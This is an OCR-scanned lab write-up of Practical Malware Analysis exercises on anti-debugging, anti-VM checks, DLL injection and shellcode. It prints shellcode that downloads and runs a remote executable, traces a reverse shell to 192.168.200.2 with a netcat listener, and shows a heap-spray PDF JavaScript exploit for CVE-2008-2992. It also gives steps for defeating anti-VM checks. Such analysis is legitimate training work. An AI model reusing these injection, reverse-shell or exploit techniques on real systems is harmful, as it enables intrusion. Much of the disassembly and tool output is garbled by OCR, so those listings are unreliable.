jnp short loc_LB812B7

J L. 1

By manually making sure that var 118 is set to 1 and not 2, we get the following filename;
peo.exe.

Renaming the executable as peo.exe will do the trick in running the app properly.

iyl bg - qerewe - [CPL - main thread, madule gzr]
Elria wea Cubug

Fougra Options Windcs:  Halp
R T T W T T W RN R P LT =l

[E3=0s

iv. Which anti-debugging techniques does this malware employ?
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The techniques used are all time based approach
1. QueryPerformanceCounter
2. GetTickCount
3. rdtsc (subroutine: @0x401300)

v. For each technique, what does the malware do if it determines it is
running in a debugger?

1. QueryPerformanceCounter — determines what name should the executable be, in order to
execute properly

2. GetTickCount — crashes the program by referencing a null pointer

3. rdtsc — call subroutine @0x004010EQ; self delete

vi. Why are the anti-debugging techniques successful in this malware?

The malware purposely triggers division by 0 error that will cause any attached debugger to
break and for the analyst to rectify. This action itself is time consuming as compared to a
program without debugger attached throwing exception and letting SEH handler to do the
job. Therefore the malware codes are able to determine whether a debugger is being attached
just via the time difference.

vii. What domain name does this malware use?

adg.malwareanalysisbook.com

Capluring from Vidware Acceloraled LAD PCHel Adapter [Microsalt's Packel Scheduler] ; WewiceWNOF _[CEERFFID-COFF-AT1E-9TF4- 1M TETMIIF]  [Wireshark 1,80 [5YH Rev 43431 fra.,, '._|Fl

Biw Edt ew o Cophue  frabos  Relstes  Teephory  Jooh  endi Help
Bedae S@EX2L esaT:EE aaan aER % B

Fitar: w | Expresion...
LIS | | BN Degnstion . ___ Pobonl length_ W
1'uu 121, 91145 152, 168, 1,100 192.168.1, 255 HEMS a2 hdn- we ¥ HB WORKGROUP <16

1390 1326, 585 TAO0: :0c: TFTETQIOTTOR: 37D b 107 SLangard quacy 05000 FTR 1pps_:cp1ucu TOU QAFTION FTR G0, Xep. 10241, "o o
1391 1408, 72268 Yawar=_1F:44 ;b Brpadcast ARP 42 who has 1592,168.1.1007 Tell 152. lﬂE- 1.101
1302 1466 7240 vwwara_dd:=d, dd 1 100 1z at GO20c:3G:dd:=d

ldl.ll ].di"l ﬂ.l.'l'!l} H H W'\ih:! has 192,168, 1 :I.|II17 TE'” 192
1402 1471, 51692 wwware_1F:44: Ib warrg_uc dzics A 42 192.168.1.100 15 at 00:0c:29:1F:44 Jb

Figure 6. adg.malwareanalysisbook.com

d. Analyze the malware found in Lab17-01.exe inside VMware. This is the same
malware as Lab07-01.exe, with added anti-VMware techniques.

i. What anti-VM techniques does this malware use?

The malware uses vulnerable instruction: sidt,sldt and str
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il (e 1=

loc_ 4811B5:

sidt fuord ptr [ebp+var 428]

mou eax, dword ptr [ebp+var_i28+2]
mow [ebp+var 428], eax

push offset Hame ; "HGL34S™

push a ; bInitialOwner
push ] ; lpHutexattributes
call ds:CreateMutexn

mou [ebp+uar LBB], eax

mou ecx, [ebp+var L28]

shr ecx, 18h

cmp ecx, BFFh

jz loc_ 481320

¥

Figure 1. sidt instruction

The malware issues the sidt instruction as shown above, which stores the contents of IDTR
into the memory location pointed to by var 428. The IDTR 1is 6 bytes, and the fifth byte
offset contains the start of the base memory address. That fifth byte is compared to OxFF, the
VMware signature. We can see that var 428+2 is set to var_420. Later on in the opcodes we
can observe that var 420 is shifted right by 3 bytes thus pointing it to the 5th byte.

ii. If you have the commercial version of IDA Pro, run the IDA Python script from
Listing 17-4 in Chapter 17 (provided here as findAntiVM.py). What does it find?

Number of potential Anti-UM instructions: 3
Anti-UM: 064061121
Anti-UM: 064011b5
Anti-UM: 66401204

Figure 2. 3
Anti-VM instructions found

1. 00401121 —sldt

2. 004011b5 — sidt

3. 00401204 — str
iii. What happens when each anti-VM technique succeeds?

1. 00401121 — sldt; service created but thread to openurl is not created the program
terminates.

2. 004011b5 — sidt; sub routine 0x401000 will be invoked, the program will be deleted
3. 00401204 — str; sub routine 0x401000 will be invoked, the program will be deleted
iv. Which of these anti-VM techniques work against your virtual machine?
None...
v. Why does each anti-VM technique work or fail?
It depends on the hardware and the vmware used.
vi. How could you disable these anti-VM techniques and get the malware to run?
1. nop the instruction

2. patch the jmp instruction
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e. Analyze the malware found in the file Lab17-02.dll inside VMware. After
answering the first question in this lab, try to run the installation exports using
rundll32.exe and monitor them with a tool like procmon. The following is an

example command line for executing the DLL:
rundll32.exe Lab17-02.d1L,InstallRT (or InstallSA/InstallSB)

i. What are the exports for this DLL?

Marme Address Crdinal
5 InstallRT 10000847 1

= InstallSA 1000DEC1 2

=] InstallSB 1000EB92 3

=] PSLIST 10007025 4

= ServiceMain 1000CF30 5

=] StartEXS 10007ECE 6

=] UninstallRT 1000F405 7

= UninstallSA 1000EAQS 8

= UninstallSB 1000F138 9

=¥ DIIEntryPoint 10015160 [main entry]

Figure 1. Exports

ii. What happens after the attempted installation using rundll32.exe?

The dll gets deleted. A File xinstall.log was dropped. vmselfdelete.bat file was
dropped,executed and subsequently deleted as well. From the log file created, it seems that
the malware has detected that it is running in a VM thus deleting itself.

B

Fhl ABRE | vAS | 8 A8 |54 00

Toe=.. Process Hame FID  Dpsshon Path Resull

44217 1lb1ldlfé L] 1472 ‘Hqﬁeﬂ'\#d T HELWASOF TWARE Wiciodoll '\ Caaptody sphp’ HHGTS ded SUCCESS
821 1'|u.m‘H’I i 1472 ;iSﬂEnd:IIF.Hnlnmahn-ﬁt CAwINDIWS system IR confighsoiwans LOG SUCCESS
21 l'I|l.,r||‘l'l347.'.lrmr 1472 315 o ndDiFsdelnloomshionF e CAWIHDOWS \system 3P confighsolvans LOG SUCCESS
4421 | rend 2 1472 HhowiibeFie CADocument: ard SeffingyAdmisishiaton Deskiop 8 raColection' Chapter 17 enstal log SUCCESS
LA21... ]lundl?&.:l: 1472 I YabaF s CADpouments ard SettingstdminishstortDeskiop'B rnenCollection\ Chapter 1T winstalllog SUCCESS
44217 lIll.,r|l1|3r.= L] 147 ﬂwlltﬂu CADocusments ard Setngs Aol godDaskiopt B rsipColsclon ' Chaplei_17L vwrisellde bhat SUCTESS

B xinstall. log - Matepad
Fila Edit Format View Help
|

[03/20/16 1&::.“::131
Found wirtual machine, Install Camcel,

Figure 2. xinstall.log
iii. Which files are created and what do they contain?
2 files are created; xinstall.log & vmselfdel.bat.

vmselfdel.bat can be traced to the subroutine @ 10005567 using IDA Pro. Needless to say,
the purpose of the batch file is to delete the dll and itself from the system.
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offset a Umselfdel bat =

Malware Analysis

CfotvwumselfFfdel _battt

push eax ;: Dest
call ds-csprintFf
1ea eax, [ebp+Dest]
push offset aw H S Cwptt
push eax : Filename
call ds - Fopen
mou edi, eax
add esp ., -18h
test edi . edi
= short l1Loc_ 190056345
-
Lol = (=]
push esi
[yT=11] esi, ds-cfFfprintH
push oFfFset a@echoOfFF : ""@Becho oFF%Wr Wt
push edi z File
call esi : FprintF
push ofFfset aSelfkill : ""cselfkiIllwerwnt
pushn edi s File
call esi : FprintE
1lea eax. [ebp-~Filename]
push eax
push ofFfFfset aAattribARSHS H Trattrib —a v -5 —h O RWTTERsR L hntT
push edi : File
call esi : FprintF
1ea e ax . Cepp*Filenames]
push eax
push offset abDelXS H fdel WTTESRTTwrwntt
push edi : File
call esi ; FprintF
1ea eax, [ebps+Filename]
push eax
push ofFfFset alfFEXistsSGotoSe 2 TTAF exist WESWTT goto SelfFKILILIwewntt
push edi s File
call esi : FprintE
push offset abDeld H rfdel BEOWrwntt
push edi s File
call esi ; FprincFE
add esp, ZGh
pop esi

P
Figure 3. self delete

iv. What method of anti-VM is in use?

querying I/O communication port.

VMware uses virtual I/O ports for communication between the virtual machine and the host
operating system to support functionality like copy and paste between the two systems. The
port can be queried and compared with a magic number to identify the use of VMware.

with VX in order to check for VMware, which happens only when the EAX register is
loaded with the magic number 0x564D5868 (VMXh). ECX must be loaded with a value
corresponding to the action you wish to perform on the port. The value 0xA means “get
VMware version type” and 0x14 means “get the memory size.” Both can be used to detect
VMware, but 0xA is more popular because it may determine the VMware version.

sub_ 188846194 proc near
var__1C= byte ptr —1Ch

ms_ exc= CPPEH_RECORD ptr —18h
push ebp

Tk e ebp. esp

push BFFFFFFFF D

push ofFfset stru_ 18980146438
push offFfset l1loc__ 18681585 a
e e eax, lavrvge Ffs-B8

push e ax

[y l=18) large Fs:-O, esp

subs esp ., ach

push ebx

push esi

push edi

[T YT [ebp+ms_exc_old_esp]. esp
o Cebpruar_ 1C] .

and [ebp+ms_exc_registration.TryLeuvel ] .
push edx=

push ecx

push e

[yl 11} eax , "UMXh "

e W eh= , a

oo ecx , BN

[yl 10} ed= . LT

i eax, dx

cmp eb= , "UMXh "

set= CLebpruar_ 1LC]

pop ebx

pop [=1

pPOop ed:x

Jmp short loc_ 19006 1F4

Figure 4. Querying I/0 comm port
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v. How could you force the malware to install during runtime?

1. Patch the jump condition (3 places need to patch since checkVM sub routine is xref 3 times)
2. patch the ininstruction in Figure 4 to nop

TnztallRT proc oears

Format= dword ptr —8
arg_S= deord pte GG

=S ub_1eews 1Y I Patch this instruction will do
i et L e D 7 IOKIOOODSSE)

Figure 5. patching
vi. How could you permanently disable the anti-VM technique?

Just patch the above and make the changes to the disk. Based on Figure 5, we could also
patch the string @ offset 10019034 -> 10019248 from [This is DVM]5 to [This is DVM]0 to
disable the check.

vii. How does each installation export function work?

1.InstallRT

Inject dll into either iexplore.exe or a custom process name that is passed in as argument.
In brief the subroutine @1000D847 will do the following

Get the dll filename via GetModuleFileNameA

Get System Directory path via GetSystemDirectoryA

Copy the current dll into system directory with the same file name

Get the pid of a process; either iexplore.exe by default or a custom process name passed in
as an argument

Get higher privilege by changing token to SeDebugPrivilege

6. Inject dll via CreateRemoteThread on the pid retrieved in 4.

PonNnE

o
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call Log
ada esp.
push [ebp+Ste ] 5 St
call st Len
Test eax . eax
o ecx
G sShort loc 10000522
L J W
g = " o=
] oFfset alexplore exe - ”i@kp1nrp,9xu"|
dmp Short loc_ 18000535 loc_1ooepszo s 3z Source
T pusi [ebpsSte ]
1 |
W
—E——|
loc_ 10800525
1ea eax. [ebprAarglist]
push - e : Dest
call strcpw
pop o
lea eax,. [ebp+AarglList]
pop e cx
Pusn = 5 STez
caill snapshot
o esi . eax
Tea eax., [ebpearglist]
s e N
push e ax : ArgList
Pusn oFfser aTnePidlfProces : —“The PID OF Process “Ss-  ds " Sas
call Lo
aaa esp. 1an
= esi. e
i= Short loc_ 10000596
J L
k3

adjustTolken
eax. [ebprDest]

-a : Source

= : dwProcessId
Remote Theead

ecm

eax . eax

Figure 6. Install RT

2.InstallSA
Install as a Service
In brief the subroutine @1000D847 will do the following

RegOpenKeyExA — HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
RegQueryValueExA — netsvcs

loop through the data to find either Irmon or a custom string passed in as an argument
CreateServiceA — with service name as Irmon or a custom string passed in as an argument
Add data to HKLM\SYSTEM\ControlSet001\Services\[Irmon | custom]\description
Creates a parameter key in HKLM\SYSTEM\CurrentControlSet\Services\[Irmon | custom]
Creates a Servicedll key in HKLM\SYSTEM\CurrentControlSet\Services\[Irmon | custom]
with the path of the dll as the value

Start the service

Creates a win.ini file in windows directory

10. Writes a Completed key to SoftWare\MicroSoft\Internet Connection Wizard\

if SoftWare\MicroSoft\Internet Connection Wizard\ does not exists

NoukwnNe

o %

= Process Monitor - Sysinternals: www.sysintes pals. com.

=H  aBE| AS LI B SR 4= N

Tane. Process Mame FI0 Dipzestion Path Rend L
W0EE . | o 1220 B FingS wtvshem HELMAS OF TWAR E\MiciomsbhCroptography\ PG A S med SUCCESS
MW, |2 1220 FlogS ot ahan HELH'S et Dot Cond of 5oel 'S mrcicecs ' imen’ D msci iption SUCCESS
o il ok HELH'S el s rd ContiofS 8\ S s\ i SULCLESS
T HELH! CrsrartCanholS: SLUCLESS
e HELHS wtemmiCumentConholS et S envices imon P aismetas S ensca D8 SUCCESS
Lol HELM 'Syt CumentContiofSet! S mrvices'mon SUCCESS
W0 HELM'S yatmm\ CusentContiol et 5 srvices' mon P snsmesss SUCLESS
10 &5 HELL L ot et T " Completed SLUICCESS

HEDLINS coltsding ' pt oot il Do b Wikaid SUCCESS

- P Tvps Dt
.~ R ald L8] (e maslt]) REG_SE (waipe ruot met s
ol =i 8] Seremi FEG_ERAND ST CAWTNOO Sy stemI sl 7-02
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3. InstallSB

It first calls sub rountine 0x10005A0A to

E

It then

N

Attain higher privileges via adjusting token to SeDebugPrivilige

It then gets the WinLogon Pid

It then get the windows version to determine which sfc dll name to use

It then uses CreateRemoteThread to get Winlogon process to disable file protection via sfc

calls the subroutine @0x1000DF22 to

It first query service config of NtmsSvc service

If service dwStartType is > 2, it will then change the service to SERVICE_AUTO_START

If then checks if the service is running or paused. If it is running or in paused state, it will
stop the service.

It then queries HKLM\\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\\Netsvc
values

It then gets the PID of svchost and check if the malicious module is loaded

backup c:\\windows\\system32\\ntmssvc.dll to c:\\windows\\system32\\ntmssvc.dll.obak
copy current dll to c:\\windows\\system32\\ntmssvc.dll

If ntmssvc.dll isn’t loaded, the malware will then inject it into svchost

Starts the created service

. Creates a win.ini file in windows directory
. Writes a Completed key to “SoftWare\MicroSoft\Internet Connection Wizard\” if

“SoftWare\MicroSoft\Internet Connection Wizard\” does not exists

f. Analyze the malware Labl7-03.exe inside VMware.

i. What happens when you run this malware in a virtual machine?

The malware terminates.

ii. How could you get this malware to run and drop its keylogger?

we can patch the jump instructions at the following address

alb e

0x004019A1
0x004019C0
0x00401A2F
0x00401467
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Practical No. 10

a. Analyze the file Lab19-01.bin using shellcode launcher.exe

i. How is the shellcode encoded?

The shellcode is alphabetically encoded. In figure 2, we can see the function responsible for
decoding.

41 INC ECX
41 INC ECX
IFE| . 41 INC ECX
LFF . 41 INC ECX
04 ) 33co XOR ECX,ECX
1401202| - 66:B9 BpO1  |[mov Cx,18D
04 6| +. EB 17 IMP SHORT 0040121F
04 5E FOF ESI
04 all - s6 PUSH ESI
opa0120a(] - 8BFE MOV EDI,ESI
040120C || = ~ac -LODS BYTE PTR DS:[ESI]
ndol20o|] - | BAapD MOV DL, AL
nan1zoF || - | BOEA 41 SUB DL,41
COE2 04 SHL DL,4
AL LODS BYTE PTR DS:[ESI]
2C 41 SUB AL,41
02c2 ADD AL ,DL
AA STOS BYTE PTR ES:[EDI]
. | a9 DEC ECX
~L75 EE |LINZ SHORT 0040120C
L - c3 RETH
» EB E4FFFFFF [CaALL 00401208
- BO9ES MOV EEBF,ESP
B1EC 4000000 SUE ESP,40
12 .. EO 33414141 |3IMP 41815364
31| S 41 INC ECX Labl9-01.00401231{guessed Argl)
1232 . 41 INC ECX
4 01 [. 41 INC ECX

Fi.gl.lre.2. Decoding Function
ii. Which functions does the shellcode manually import?

We can use a tool called sctest to help us to emulate the shellcode.

remnux@remnux: ~/Desktop

File Edit Tabs Help

remnux@remnux:~/Desktop® shellcode2exe.py -5 Lab19-81.bin
Shellcode to executable converter

by Mario Vilas (mvilas at gmail dot com)

Reading string shellcode from file Labi19-01.bin

Generating executable file

Writing file Labl19-81.exe

Done.

remnux@remnux:~/Desktop$ sctest -Svs 1000080 < Lab19-81.bin > sctest-labi19.txt
remnux@remnux:-/Desktop$ I
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File Edit Search Options Help
verbose = 1
unhooked call to GetCurrentProcess
stepcount 236074
HMODULE LoadLibraryA (
LPCTSTR lpFileName = ©x86417369 == |
= "URLMON";
) = Bx7dT20000;
UINT GetSystemDirectory |{
LPTSTR 1lpBuffer = 0x004173bl =>
= "c:\WINDOWS\system32";
UINT uSize = 128;
) = 19;
HRESULT URLDownloadToFile (
LPUNKNOWN pCaller = Ox00000008 =>
none;
LPCTSTR szURL = 8x008417370 =>
= "http://www.practicalmalwareanalysis.com/shellcode/annoy user.exe";
LPCTSTR szFileName = Ox004173bl =>
= "c:\WINDOWS\system32\1l.exe";
DWORD dwReserved = @;
LPEBINDSTATUSCALLBACK 1pfnCB = 0;
G.

UINT WINAPI WinExec (
LPCSTR 1pCmdLine = 0x084173bl =>
= "c:\WINDOWS\system32\1l.exe";
UINT uCmdShow = 5;
) = 32;

We can see that the shellcode uses LoadLibraryA, GetSystemDirectory,
URLDownloadtoFile and WinExec. We can also use ollydbg to see it live.

iii. What network host does the shellcode communicate with?

As seen in Figure 4, the shellcode communcates
with http://www.practicalmalwareanalysis.com/shellcode/annoy user.exe.

b- The file Lab19-02.exe contains a piece of shellcode that will be injected into
another process and run. Analyze this file.

i. What process is injected with the shellcode?

Firing up IDA Pro we can immediately see that a function is called to create a new process
and thereafter injecting shellcode into it.

text:004013BF |
text A040M13BF

text:004013BF loc_M4@13BF: : CODE XREF: _main+69Tj
text:0a4013BF lea ecx, [ebp+Data]

text:004013C5 push ecx

text:A04A13CH push offset aGotPaths ; “Got path: Zs\n™
text:aaue13Ce call sub_481430

text: 00481300 add esp, 8

text:0anE1303 lea edx, [ebp+duwProcessid]

text: 00401306 push edx 3 int

text:004013D7 lea eax, [ebp+Data]

text:B04613DD push aax ; lpComnandLine
text:8840813DE call GetProcessID

text:00L013E3 add esp, 8

text:004013E6 mov [ebp+var_8], eax

text:004013E9 cmp [ebp+var_8], @

text:004013ED jnz short loc_481403

text:804013EF push offset aErrorLaunching ; "Error launching new processiyn’
text:004013Fh call sub_48143D

text:004013F9 add esp, &

text:B04013FC mou eax, 1

text:00401501 jmp short loc_4%81438

text:00401483 ;

text:aa481403

text:00401403 loc_K01403: : CODE XREF: _main+aDTj
Ttext: 00407403 push 1A7N : dwSize

text: 00407408 push offset unk_407030 ; lpBuffer

text: 00401400 mou ecx, [ebp+duwProcessid]

text:004014818 push ecx : dwProcessld

text: 00401411 call ProcessIinjection

text: 00401516 add esp, OCh

text: 00401419 mou [ebp+var_8], eax

text:eanE1s1c cnp [ebp+uar_8], @

text: 00481620 inz short loc_L@1h3é

text:0ONE1422 push offset aErrorInjecting : “Error injecting processin®
text: 0040 1N2T call sub_HO143D

text:B0LE162C add esp, b

text:0840142F mouv eax, 1

text:BBNB1A3N jmp short loc_u@1u3s
text:0OMB1436 -
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To see the arguments passed into the GetProcessID function (refer to 0x4013DE) we can set
a breakpoint in ollydbg.

W -

1

From figure 2, we can see that iexplore.exe path is passed into a function. The function then
use this path to CreateProcess.

ii. Where is the shellcode located?

To find the shellcode, i would first try to find the function call responsible for writing the
shellcode into the remote process. WriteProcessMemory is a good place to start.

At address 0x00401230, we can see a function with a Ipbuffer argument passed in along with
the buffer size and a process id. It is not hard to guess that this function is responsible for
opening a handle to the remote process and eventually writing payload into it.

SLEAL - B e

Ltext ARLMI4R3 loc_ 4014083 : ; CODE XREF: _main+ADTj
Jtext D oey01403 push 1A7h ; dusize

Ltext:0B4B1408 push offset loc_LA7038 ; lpBuffer

text 00481400 Aoy ecx, [ebp+dwProcessid]

text:aBuB1418 push ecx ; duProcessid
text:aeue1u11 call Processinjection

LJdext:OnueIu16 add esp, OCh

Ltext o opse1419 Aoy [ebp+uar_8], eax

Ltext:aRLEIHIC chp [ebp+var_8], @

-text:oB4e1420 jnz short loc_ 481436

~text:aBkB1422 push offset aErrorInjecting ; "Error injecting processyn™
text:BBeuB1427 call sub_48143D

text:aBhei1L2C add esp, 4

Ldext 0BuB182F Aoy eax, 1

Jtextoaeypiugy imp short loc_ 481438

tovtr-00ABALWIA -
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Seems like we have found the shellcode @0x407030. Lets take a peek at the shellcode =) as
shown below... Press “C” to convert the bytes to code.

dlaiaz@0L 07 03B
Ldakazenn0Tese

_datazBOnuTBEe Loc_nBruan: : DATA KRk main+C8Ta
-0ata:@Bna7e3e ER 11 ] imp shart lec_AR7eud
_daka:onnngoeas H
~dala: B0 07 832
_data:onnnT g loc_NO7Raz: ; CODE XREF: .data:lec_NTeudip
Sdataz@OnOT IR SF pop edi
L03Ea:0ON0T033 66 68 &F 01 push small 18Fh
_datazpOnuTear 66 B9 pogp =)
-0ata:@0h07 ere B8 E7 oy al, BEFM
-daka:onnnToae
Lilata  B0L0T 030 Loc_WO7BIE: ¢ CODE KREF: .data:@0aododcyj
_daEazOONOTOSE 30 OF 0w [eai], a1
_datazBOnOTEI0 &Y inc edi
-datazBORDTRIE 67 EZ FA loopw  Loc_wi7 038
_datazpOnuTesl EB BS jmp shert loc_SO7oud
- Al a : B0h 07 883
-daka:onnoT o
Ltlata  BOLAT B loc_4B7OLE: i CODE XREF: .data:lec_serF@3erj
-dakazBONATAAI E8 ER FF FF FF call Loc_WwiF a3z
daka:BOnOT 0%E
~0ata: 80407 N8 1oc_MOT0NE: ; CODE XREF: .data:@eosa7euitj
= outsh
66 08 add ah, [esisnon)
db BCTh o
dab BETh ;T
db BETH
db OETH : ot
dan  eEn
db Bah o
dap BEGh |
db BETR C b
dab BETH ;o
db mEin ;
dby 000
dan  GEh
db  w3h
ab aesn ;
db BEER ; o
dab BoEh

db  4Eh
db  UED

iii. How is the shellcode encoded?

Looking at the shellcodes in Figure 6, we can see that the author is using the “call” trick (as
seen in step 2) to get the address of the shellcode. Analyzing the codes, we can that the
shellcodes from 0x407048 onwards are decoded using XOR with OxE7.

-data:oBu@7 O3B
-data:@Bua7 830

LAdatazoByayIan loc_ 4O7F 30 : : DATA XHEF : ain+C8To
-data: 0B4A7 630 imp short loc_L@7 8,43

-data:dBad73Z ;
-data: 88487 832

e data: @RNAT 32 loc 487032 : + CODE XREF: _data:loc_ 4%07BE3Lp

.data: aB8a7F 032 pop edi
-data:0RNAT 833 Push small 18Fnh
.data:0BaAT 03T pop cx
-data:@Bha7 a9 L ile al, BETh
-data:dBsa7 3B

2 -data:@BNa7 3B loc_ 487038 : ; CODE XREF: .data:0BNa7e3E]j

3 -data:aBpusa7aaB Hor [edi], al

-data: 00887 03D inc edi
.data:@esa7e3E loopw 1loc_hB7 a3e
-data:3Ba@a7F b imp short loc_Li¥B4E
-data:@BNAT7 B3
-data:apuarasd
data: @Baa7 3 loc NE7BH3: + CODE XREF: .data:loc_sa7ezalj -
bbb CHA LGP S call loc hGF a3z
-data: 0807 BhE
~data: GB4ATBHE loc_ LAT DS : ; CODE XREF: .data:0obaa7osiTj
-data: dB8A7 BB outsh
-data:0BNAT7 849 add ah, [esi=88h]

-data:opsar sy ;

Figure 6. Shellcode using call instruction and XOR
iv. Which functions does the shellcode manually import?

To analyze the shellcode, we can either extract the shellcode and run it using sctest or you
can choose to use a simple trick that I be showing to break in the newly created process.

First break at WriteProcessMemory function

Before the memory is written into the remote process we change the first byte of the
shellcode (0x407030) to 0xCC (breakpoint)

Attach debugger to the newly created IEXPLORE.exe

4. Resume Lab19-02.exe in ollydbg

N —

(98]
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5. The IEXPLORE.exe will break on executing the injected shellcode

On analyzing the shellcode, you will come across a function that is responsible for manually
importing the following functions. You may also wish to break at CALL instructions in the
shellcodes to trace where in the memory are the address coming from.

Hddress |Malue Comment

EE1 431 7F | SAEEEAEE
HE1431232| ESBS53FF
8814a137 | FFFFFF28
B814313E| FCE8107FE| kerne 132, LoadL ibraryA
BE14813F | FCEBZ3EE| kerne 132, CreateProcessH
BE148123| FCEBLELA| kerne l32. TerminateProcess
BE148137| FCEE0OESS| kerne 132, GetCurrentProcess
AE14E198 | F1ABSASS | weZ_22. WSAStartup

HE14813F | 71ABSBEH| ws2_22. WSASocketA

Ba1481A5| F1AB4ABT | ws2_32.connect

EE14E1A7 | BREEEAEE
EE14E1AE | DRDEEEEE
HE14E1AF | DREEEEEE
FE14E1ES | RDEEEEE
EE14E1ET | BREEEREE
EE1 431 EE | AREEEEEE
EE1 461 EF | DREEEEEE
EE148103 | AREEEEEE
EE14E1CT | BREEEREE

v. What network hosts does the shellcode communicate with?

We set a breakpoint @ connect and analzye the SockAddr struct passed to it.

llllﬁhhg MEXPLORE.EXE - [CPL - fhread ODOO0ES0, medule wsd_37]

IC] Fle View [wiug Plugne Opbions Window Help

%g_ﬁl r!ll[ ;#%!ﬂﬂ - LI:IIdrIwIJ,sj_{JQBF:I 5] Sz
‘q_—_'_'_'_'_“‘—'- 1. Break @connect

sin_port  sin_family
SockAddr's Struct (from msdn) | A ——

I
struct sockaddr_in {
short  sin_family;
u_short iin_port

iy | 02C8RB8Ce
char sin_zerc[8]; )

sin_addr

A? SHE L fo conmect 11
gren | eeer 5| | sseckRsar = amarTeR

2. View SockAddr struct

o BIEIDLEL
EICELIET
FREEEIEF
e

| R

. ?\EHBI:I. RETURH to nidd L7CBI0BEL from sidil

: § RETURH £0 nedil, ...-1‘:..'-»:4.— S I -
s : l

o ISMZUEEA| UNICOCE "Ca-Progran FilesIncernet Beplorer™ IENPLORE. DE™

sin_port = 0x3412 = 13330

sin_addr = 0xCOA8C802 = 192.168.200.2
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Enter hex string
clafcB02
| convert

Hex string c0a8c802 15

192.168.200.2 (192168 .200.2)
Figure 9. Convert Hex to IP Address (online tool)
vi. What does the shellcode do?

Reverse shell(cmd.exe) to 192.168.200.2:13330. We can see that the shellcode executes
CreateProcessA after connecting to the remote IP.

Olbeiing - IEXPLOAL.EXE - JOPL . Iheeax) OS0S0 50, v e e et 11

IEl ri v Dabeg Plges Optora Wrelse  heb

o] m|mj sgjed 33109 | = LIE|M|T|wiE|e| s miE B8 FF?]
——

EE R

o

Figure 10. theateProcessA

The following figure is a internal setup to see how the malware would behave on successful
connection to the IP & port. As we have expected, a reverse shell connection is established.

1 remnux@remnux: - - o x
File Edit Tabs Help
remnux@remnux:-% nc -1 -p 13338 &

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2881 Microsoft Corp.

C:\Documents and SettingsxAdministrator\Desktap:l

Figure 11. Reverse shell connection established

c. Analyze the file Lab19-03.pdf. If you get stuck and can’t find the shellcode, just skip
that part of the lab and analyze file Lab19-03 sc.bin using shellcode launcher.exe.

i. What exploit is used in this PDF?

Lets recce the pdf file first to get more insight. We can see that it contains /JS and /JavaScript
elements. Which indicates that this pdf might be using javascript to exploit the pdf...
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remnux@remnux: —/Desktop

File Edit Tabs Help
remnux@remnux:~sDesktops pdfid Labl9-83.pdf =
PDFiD ©.2.1 Labi9-63.pdf

PDF Header: %PDF-1.3

obj 1e

endobj 1e

stream
endstream

xref

trailer
startxref
fPage

FENCrypt
SObjStm

fJs
SdavaScript
v
JopenAction
SAcroForm
SIBIG2Decode
fRichMedia
SLaunch
/EmbeddedFile
FSXEFEA

fColors > 2A24

CO0QOROHOWNGAKHKERERKHENN

remnux@remnux : -/Desktops l

Figure 1. pdfid to recce the pdf file

using pdfextract we can easily extract the javascript contents.

remnux@remnux: —/Desktop

Eile Edit Tabs Help

remnux@remnux:—~sDesktop$ pdfextract -s Labl9-83.pdf =

[error] Breaking on: "Length 461..." at offset exie4ad

[error] Last exception: [Origami::InvalidObjectError] Failed to parse object (no:18,gen:8)
-> [Origami::InvalidMameObjectError] Bad name format

Extracted 1 PDF streams to 'Labl9-83.dumpsstreams’.

remnux@remnux:~+sDesktops [l

Figure 2. Extract javascript via pdfextract tool

The extracted javascript contains the payload and some pdf version check to filter which pdf
reader version can be exploited followed by some standard heapspray and finally the trigger
“util.printf. A google search on this printf exploit surfaced the following article from
CORE security. CVE-2008-2992 a Printf buffer overflow exploit.

Fla Edt Search Qptions Help |/ B batoe Frader easoript | X
var payload = unescape|"wueSBi%uscBlyull7ceul & [ hit; WAL TSR L Dy Com
var wersion = app.viewerVersion; -
app.alert(“Running PDF JavaScript!®);
if {warsien »= B && version < 9) { Cﬁp

var payload; -

nop = unescape | " SubABA%UBOASEBADASBADA" SECURITY

heapblock = nop + payload;
bighlock = unescape! “SuBABARUBABA® ) ;
headersize = 28;
spray = headersize+heapblock.length; PRODUCTS ~ SOLUTIONS = RWICE RE L - Al T RROAT =
while [bigbleck.lengthespray) {
bigblock+=bigblock;

1 \ 1
fillblock = bigblock.substring(8, spray): - a
block = bigblock.substring{®, bigblock.le AdObe Reader Javagcrlpt prln!.f Buﬂ:er
while{block.length+spray = Guxd@@@n) [
block = block+block+Tillblock; O ﬂ
] verflow
mam = new Arrayl);
for (1=8;1<1488;1++) {
mem[i] = block + heapblock; 1A

war num = 1289999%9999050999000 8B BERARE

} else {
app.alert("Unknown POF version!");

Dade of Last upcate

Vendors contacted

Release mode

Class

ii. How is the shellcode encoded?
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Referring to Figure 3, we can easily see that the payload is unicode encoded by the %u
symbol. We could convert it using a unicode2raw tool provided in remnux... or you can
write your own simple tool to do it.

Jr—
—

shellcode.ra unicode.shell pt_
W

remnux@remnux: —/Desktop/Labl9-03.dump

File Edit Tabs Help
remnux@remnux:~/Desktop/Labl19-83.dump$ unicodeZ2raw < unicode.shell > shellcode.raw
remnux@remnux:—/Desktop/Lab19-83.dumps I

Figured. unicode2raw

iii. Which functions does the shellcode manually import?

Before jumping straight into analyze the shellcode, we could use sctest to generate a nice
little graph of the piece of shellcode we are analyzing.

= = a—
—

diagram.png shell shell.dot shellcode.ra unicode shell pt_171773
vy

remnux@remnux: ~/Desktop/Lab19-03.dump

Eile Edit Tabs Help
remnux@remnux:—~/Desktop/Lab18-03.dump$ sctest -Svs 1800000 -G shell.dot < shellcode.raw > |

shell
remnux@remnux:~/Desktop/Lab19-83.dump$ dot shell.dot -T png -o diagram.png
remnux@remnux;:~/Desktop/Labl19-03.dump$ l

Figure 5. sctest and dot
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Notice the GetFileSize at the bottom left, this indicates that the shellcode is attempting to
open a file and is using GetFileSize to find the correct file handler. Perhaps more payload is

in the file.

'.r'

!Iﬂ_f .PJ_I_I :HJJ:.JJ:J _I_I _t_I_I_I_I_I_IzI_I EB|m6| =

J£ SHORT

MOV DWORD FTR IJ’S lE-ﬂ.!(] EDTI

XOR EAX,E
FOF EDT

o

Select 32-bit executable and specify arguments

€3 Lockin

MName

50 Ficname

lab19

FE = shellcode_launcherexe

| = B cF @
Date modifeed
B11/2000 10:2T AM

OllyDbg - shellcode_launcher.exe - [CPU -

48 KE

B3 Flescfinpe: [Exectable, DLL or ik (mom, " " nic)

IDg

Sté.l:E EEI;FFEC] =0

